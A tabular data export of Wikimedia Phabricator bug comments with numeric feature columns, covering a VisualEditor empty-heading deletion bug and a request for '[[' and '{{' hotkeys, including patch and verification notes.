431384,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""",The same fix as for T51452 - verified in beta.,,,1427153983,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,True,,,90,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,1.0,The same fix as for T51452 - verified in beta.
430147,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","Change 162310 merged by jenkins-bot:
For empty / whitespace-only headings, output <p> instead of <h#>

[[https://gerrit.wikimedia.org/r/162310]]",,,1426893387,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,89,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,3.1515151515151514,0.8484848484848485,"Change 162310 merged by jenkins-bot:
For empty / whitespace-only headings, output <p> instead of <h#>

[[GERRIT_URL]]"
412855,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","Change 162310 had a related patch set uploaded (by Jforrester):
MWHeading: Don't put self in output if contents are blank or whitespace

[[https://gerrit.wikimedia.org/r/162310]]

#patch-for-review",,,1424197331,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,85,,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,3.75,0.875,"Change 162310 had a related patch set uploaded (by Jforrester):
MWHeading: Don't put self in output if contents are blank or whitespace

[[GERRIT_URL]]

#patch-for-review"
244604,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","Change 162310 had a related patch set uploaded by Jforrester:
MWHeading: Don't put self in output if contents are blank or whitespace

https://gerrit.wikimedia.org/r/162310",,,1411496967,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,64,,0.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.464285714285714,0.9642857142857143,"Change 162310 had a related patch set uploaded by Jforrester:
MWHeading: Don't put self in output if contents are blank or whitespace

GERRIT_URL"
244600,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","en.wp user 28bytes comments:
There was an unneeded section, so I selected the section, pressed ""delete"" and saved. VE did this [1]; I expected it to do this. [2]

1: https://en.wikipedia.org/w/index.php?title=Degeneracy&diff=prev&oldid=569795975
2: https://en.wikipedia.org/w/index.php?title=Degeneracy&diff=569796007&oldid=567105149",,,1377222680,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,12.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,6.0,2.0,2.0,0.0,4.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,2.94,0.72,"en.wp user 28bytes comments:
There was an unneeded section, so I selected the section, pressed ""delete"" and saved. VE did this [1]; I expected it to do this. [2]

1: URL
2: URL"
244596,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""",This editor http://en.wikipedia.org/w/index.php?title=Pound_%28mass%29&diff=569770089&oldid=569255959 removed the whole section.  It could not possibly have been their intention to leave behind an empty heading line.,,,1377203188,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.36,0.96,This editor URL removed the whole section.  It could not possibly have been their intention to leave behind an empty heading line.
244593,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","<< Often, when an editor tries to remove (or accidentally removes) a section header, the result in VE is something like this: http://en.wikipedia.org/w/index.php?title=%C3%87ank%C4%B1r%C4%B1_Province&diff=567375871&oldid=542107518 . This is seldom (if ever) the intention, can VE be coded to simply remove the section header in these cases? Fram (talk) 09:32, 6 August 2013 (UTC) >>",,,1375953600,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,5,,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,7.0,4.0,12.0,3.0,1.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,7.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,3.3823529411764706,0.7058823529411765,"<< Often, when an editor tries to remove (or accidentally removes) a section header, the result in VE is something like this: URL . This is seldom (if ever) the intention, can VE be coded to simply remove the section header in these cases? Fram (talk) 09:32, 6 August 2013 (UTC) >>"
244587,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","Since 51829 is now marked as a dupe, 
should we also discuss here an issue that Dan reported as well - VE turning the next paragraph into a heading,
or that ""when pressing delete on an empty heading line, if there is a template such as {{main}} on the next line, it is unexpectedly deleted"", as user:WS states on enwp?",,,1375792751,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,1.0,1.0,0.0,9.0,13.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,9.0,4.0,5.0,5.0,1.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,13.0,1.0,1.0,3.0,0.0,3.0,0.0,3.0,7.0,0.0,4.0,0.0,0.0,0.0,3.4210526315789473,0.6973684210526315,"Since 51829 is now marked as a dupe, 
should we also discuss here an issue that Dan reported as well - VE turning the next paragraph into a heading,
or that ""when pressing delete on an empty heading line, if there is a template such as {{main}} on the next line, it is unexpectedly deleted"", as user:WS states on enwp?"
244580,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","Speaking as an end-user, I spent quite some time trying to figure out how to delete a heading. It was quite confusing. Bug 51829 (marked as a duplicate) describes my attempts.

VE's behavior in this regard is the opposite of (say) MS Word's.  In Word, if you highlight one character beyond the heading and press Delete, you remove the heading. In VE, you have to highlight an invisible area *preceding* the heading. This is not intuitive.",,,1374611501,,PHID-USER-o5tv5cyrple4fn5xqopm,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,3,,1.0,0.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,13.0,2.0,1.0,12.0,0.0,0.0,0.0,0.0,3.0,1.0,2.0,0.0,6.0,14.0,6.0,0.0,0.0,0.0,6.0,0.0,1.0,4.0,0.0,3.0,0.0,0.0,0.0,3.676767676767677,0.6767676767676768,"Speaking as an end-user, I spent quite some time trying to figure out how to delete a heading. It was quite confusing. Bug 51829 (marked as a duplicate) describes my attempts.

VE's behavior in this regard is the opposite of (say) MS Word's.  In Word, if you highlight one character beyond the heading and press Delete, you remove the heading. In VE, you have to highlight an invisible area *preceding* the heading. This is not intuitive."
244573,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""",*** Bug 51829 has been marked as a duplicate of this bug. ***,,,1374609807,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51829 has been marked as a duplicate of this bug. ***
244566,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","""Encourage"" yes...",,,1373990534,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.8,"""Encourage"" yes..."
244556,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","(In reply to comment #3)
> I'm not sure we should be deleting empty headings. The user may want to
> delete all the contents of a heading and replace it (or select-all then type,
> which would perform the same operations internally).

Oh, yes, this was meant to be on save, rather than as they edit.

> Perhaps a solution would be for Parsoid to strip empty blocks (provided they
> weren't that way to begin with)?

That could also work, but feels a bit clunky; I think Parsoid should expect users to send it the HTML they actually want saved, and that it's up to clients to encourage users to indeed create such HTML.",,,1373987840,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,15.0,0.0,6.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,2.0,15.0,1.0,2.0,4.0,0.0,0.0,0.0,1.0,9.0,2.0,1.0,0.0,6.0,15.0,4.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.345679012345679,0.7160493827160493,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE

Oh, yes, this was meant to be on save, rather than as they edit.

QUOTE
QUOTE

That could also work, but feels a bit clunky; I think Parsoid should expect users to send it the HTML they actually want saved, and that it's up to clients to encourage users to indeed create such HTML."
244549,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","Or we have a system for flagging up formatting irregularities (e.g. markers in the margin), which could also flag up other violations of formatting conventions (e.g. double linebreaks).",,,1373987554,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,6.0,9.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.647058823529412,0.8529411764705882,"Or we have a system for flagging up formatting irregularities (e.g. markers in the margin), which could also flag up other violations of formatting conventions (e.g. double linebreaks)."
244540,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","I'm not sure we should be deleting empty headings. The user may want to delete all the contents of a heading and replace it (or select-all then type, which would perform the same operations internally).

More generally we don't delete paragraphs when they are empty, unless the user presses backspace again, so doing so for just headings would be a confusing user experience.

Perhaps a solution would be for Parsoid to strip empty blocks (provided they weren't that way to begin with)?",,,1373987470,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,True,,,2,,2.0,0.0,0.0,0.0,3.0,6.0,4.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,14.0,8.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,12.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,5.0,5.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,8.0,1.0,1.0,0.0,0.0,6.0,0.0,2.0,3.0,0.0,2.0,1.0,0.0,0.0,4.07,0.71,"I'm not sure we should be deleting empty headings. The user may want to delete all the contents of a heading and replace it (or select-all then type, which would perform the same operations internally).

More generally we don't delete paragraphs when they are empty, unless the user presses backspace again, so doing so for just headings would be a confusing user experience.

Perhaps a solution would be for Parsoid to strip empty blocks (provided they weren't that way to begin with)?"
244531,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""",%%%*** Bug 51417 has been marked as a duplicate of this bug. ***%%%,,,1373938091,,PHID-USER-ttyyrgsrkyonct7hizgv,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 51417 has been marked as a duplicate of this bug. ***%%%
244523,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""",*** Bug 50313 has been marked as a duplicate of this bug. ***,,,1373154763,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50313 has been marked as a duplicate of this bug. ***
52093,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,"Some experienced editors are complaining that writing in VE is slower for them now, because they have to use the toolbar. They are requesting to be able to use wikicode from within the VE.

Instead of fully introducing wikicode into the edit mode as some people have requested, I have a different idea. What if we use [[ and {{ as hotkeys to open the insert link and insert template dialogs ? When detecting this combination, the editor could automatically remove this characters from the editsurface and present the dialog to the user. Then the user can keep typing, greatly speeding up the time to author a sentence.

These are by far the most used insertions I presume. File and external links are much less common, and I don't see how you could easily have a hotkey like supo

I think that would solve much of the concerns that have been mentioned.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1372078500,1416971243.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ui3plx4slven33rbf4id,task_description,resolved,True,c1,2,True,False,False,-1,,2.0,0.0,1.0,0.5,0.5,4.5,1.5,0.5,0.0,0.5,2.0,0.5,0.0,0.0,0.0,2.5,1.5,8.0,10.5,0.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.5,0.0,6.5,1.5,0.0,1.5,0.5,0.0,0.0,0.0,1.0,0.0,1.5,0.5,2.5,0.0,1.0,0.0,0.5,0.5,13.5,1.0,1.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.5,8.0,3.5,8.5,2.5,2.5,11.0,0.0,0.0,0.0,0.0,5.5,0.5,0.0,0.0,4.5,10.5,1.5,0.5,0.0,0.0,4.5,0.0,2.0,1.5,0.5,3.0,1.0,0.5,0.5,4.154255319148936,0.696808510638298,"Some experienced editors are complaining that writing in VE is slower for them now, because they have to use the toolbar. They are requesting to be able to use wikicode from within the VE.

Instead of fully introducing wikicode into the edit mode as some people have requested, I have a different idea. What if we use [[ and {{ as hotkeys to open the insert link and insert template dialogs ? When detecting this combination, the editor could automatically remove this characters from the editsurface and present the dialog to the user. Then the user can keep typing, greatly speeding up the time to author a sentence.

These are by far the most used insertions I presume. File and external links are much less common, and I don't see how you could easily have a hotkey like supo

I think that would solve much of the concerns that have been mentioned.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
339567,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,"'[[' triggers Link insertion; '{{' - inserts Template.

Verified in beta/test2/production",,,1418076035,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-ui3plx4slven33rbf4id,task_subcomment,,True,c1,3,True,,,75,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.3333333333333335,0.75,"'[[' triggers Link insertion; '{{' - inserts Template.

Verified in beta/test2/production"
337424,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,ZOMG!,,,1418036506,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ui3plx4slven33rbf4id,task_subcomment,,True,c1,3,False,,,75,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,ZOMG!
333294,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,"Change 175910 merged by jenkins-bot:
Provide '[[' and '{{' to trigger the appropriate window open actions

[[https://gerrit.wikimedia.org/r/175910]]",,,1416966721,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ui3plx4slven33rbf4id,task_subcomment,,True,c1,3,False,,,73,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.34375,0.75,"Change 175910 merged by jenkins-bot:
Provide '[[' and '{{' to trigger the appropriate window open actions

[[GERRIT_URL]]"
333277,Use [[ as a 'hotkey' trigger for opening the 'create a link' dialog,"Change 175910 had a related patch set uploaded (by Jforrester):
Provide '[[' and '{{' to trigger the appropriate window open actions

[[https://gerrit.wikimedia.org/r/175910]]

#patch-for-review",,,1416964645,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ui3plx4slven33rbf4id,task_subcomment,,True,c1,3,False,,,73,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,3.441860465116279,0.7441860465116279,"Change 175910 had a related patch set uploaded (by Jforrester):
Provide '[[' and '{{' to trigger the appropriate window open actions

[[GERRIT_URL]]

#patch-for-review"
